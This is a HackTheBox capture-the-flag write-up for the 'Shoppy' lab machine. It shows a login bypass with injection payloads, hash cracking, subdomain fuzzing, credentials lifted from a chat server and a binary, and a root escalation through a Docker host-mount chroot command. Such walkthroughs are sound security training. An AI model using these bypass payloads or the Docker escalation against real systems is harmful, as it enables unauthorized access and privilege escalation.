Contents

🕵️ HTB-Writeup : SHOPPY

Introduction

Welcome to our new HackTheBox write-up! In this article, we will guide you through the steps we took to successfully compromise the targeted machine.

Shoppy is an Easy Linux machine.

Recon

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA)
|   256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA)
|_  256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519)
80/tcp   open  http     nginx 1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
|_http-server-header: nginx/1.23.1
9093/tcp open  copycat?

We face a x64 linux server with a webserver, a SSH server.

dirbuster

Running a dirbuster scan we found multiple directories.

drawing

Result of the dirbuster scan

There is a login page at http://shoppy.htb/login

drawing

Login form found

I tried to bruteforce the login form using default http credentials but I wasn’t able to find any working creds.

We found some leaked metrics at http://10.10.11.180:9093.

1
2
3
4
5
6
7
8
9
# HELP go_gc_heap_allocs_by_size_bytes_total Distribution of heap allocations by approximate size. Note that this does not include tiny objects as defined by /gc/heap/tiny/allocs:objects, only tiny blocks.
# TYPE go_gc_heap_allocs_by_size_bytes_total histogram
go_gc_heap_allocs_by_size_bytes_total_bucket{le="8.999999999999998"} 790151
go_gc_heap_allocs_by_size_bytes_total_bucket{le="24.999999999999996"} 5.435001e+06
go_gc_heap_allocs_by_size_bytes_total_bucket{le="64.99999999999999"} 7.71183e+06
go_gc_heap_allocs_by_size_bytes_total_bucket{le="144.99999999999997"} 9.630056e+
[...]
go_info{version="go1.18.1"} 1
playbooks_plugin_system_playbook_instance_info{Version="1.29.1"} 1

It could be some Mattermost, promscale or prometheus metrics maybe?

Vulnerabilities

Testing SQLi

wfuzz

I first tried to bypass the login using wfuzz. With req.sql, a wordlist taken from https://book.hacktricks.xyz/pentesting-web/login-bypass/sql-login-bypass.

1
2
3
4
└─$ wfuzz -c -z file,sql.req -d "username=FUZZ&password=pass" -u "http://shoppy.htb/login" >> res
000000488:   302   0 L   4 W   28 Ch  "'||2||'"                                
000000485:   302   0 L   4 W   28 Ch  "'||'2'||'"                              
000000516:   302   0 L   4 W   28 Ch  "'||true||'"                                                 

I found 3 working payloads to bypass the authentication. We are now able to connect into the shoppy admin page.

drawing

Main page after bypassing the login form

Going at http://shoppy.htb/admin/search-users, we can search for the user admin and download his report.

drawing

Export data can that can be downloaded

1
2
3
4
5
[{
    "_id":"62db0e93d6d6a999a66ee67a",
    "username":"admin",
    "password":"23c6877d9e2b564ef8b32c3a23de27b2"
}]

Using the same payload used for the login bypass, we found one new user.

1
2
3
4
5
{
    "_id":"62db0e93d6d6a999a66ee67b",
    "username":"josh",
    "password":"6ebcea65320589ca4f2f1ce039975995"
}

Bruteforce hash

I tried to bruteforce hashes using hashcat.

1
2
└─$ hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt --quiet 
6ebcea65320589ca4f2f1ce039975995:remembermethisway

We got our first credentials: josh:remembermethisway. We can connect into the login page using those credentials but we can’t get an access to SSH.

DNS Enumeration

After some reasearch, I manage to enumerate possible subdomain for http://shoppy.htb using ffuf.

1
2
└─$ ffuf -w /usr/share/wordlists/11m_sub_wordlist.txt -H "Host: FUZZ.shoppy.htb" -u "http://shoppy.htb"
mattermost              [Status: 200, Size: 3122, Words: 141, Lines: 1, Duration: 36ms]

We find a subdomain at http://mattermost.shoppy.htb (well guessed at the begining :) with a login form. We can log in as josh:remembermethisway.

Mattermost page

At http://mattermost.shoppy.htb/shoppy/channels/development we can read a message from josh that say that he develop and deploy a password manager on a docker.

drawing

Looking at http://mattermost.shoppy.htb/shoppy/channels/deploy-machine, we found jaeger credentials: jaeger:Sh0ppyBest@pp!.

Trying those credentials on the SSH server and we get a shell !

1
2
jaeger@shoppy:~$ cat user.txt 
************************deba9dbe

We can get the user flag :)

Path to the privesc

Recon

Checking privileges with the sudo command.

1
2
3
4
5
6
7
jaeger@shoppy:~$ sudo -l
[sudo] password for jaeger: 
Matching Defaults entries for jaeger on shoppy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jaeger may run the following commands on shoppy:
    (deploy) /home/deploy/password-manager

Jaeger as the possibility to run an application as deploy. When running the password manager, we need to provide the master password of the application that we don’t have.

1
2
3
jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: 

As josh says, he run the application on a Docker. But jaeger user doesn’t have an access to the docker process.

We found a script shoppy_start.sh on jaeger home directory.

1
2
3
4
5
6
#!/bin/bash

export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"

cd /home/jaeger/ShoppyApp && npm start

Password manager

Using a binary grep on /home/deploy/password-manager, we found the master password!

1
2
3
4
jaeger@shoppy:/home/deploy$ grep -ai password password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !cat /home/deploy/creds.txtAccess denied!

We can now use Sample as master password.

1
2
3
4
5
6
7
jaeger@shoppy:/home/deploy$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!

And there is deploy’s credentials: deploy:Deploying@pp!.

Connecting as deploy

I tried to connect into SSH using those credentials.

1
2
3
4
└─$ ssh deploy@10.10.11.180 
deploy@10.10.11.180's password: Deploying@pp!
$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)

And it works!

deploy can use Docker! We can see that there is a docker image created.

1
2
3
deploy@shoppy:~$ docker images
REPOSITORY   TAG       IMAGE ID       CREATED        SIZE
alpine       latest    d7d3d98c851f   2 months ago   5.53MB

Trying Docker privesc

Reading the Docker privesc section of Hacktrick, we found that is it possible to mount the host disk on the docker and have a full access to directories.

So I tried to mount the host disk and use a chroot to have a root shell on it.

1
docker run -it -v /:/host/ alpine:latest chroot /host/ bash

We have a shell ! And a complete access to the host disk!

1
2
3
4
5
root@23c0ebf2f7e7:/# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)

root@23c0ebf2f7e7:/# cat /root/root.txt 
*************************43a40eb

We can get the root flag :)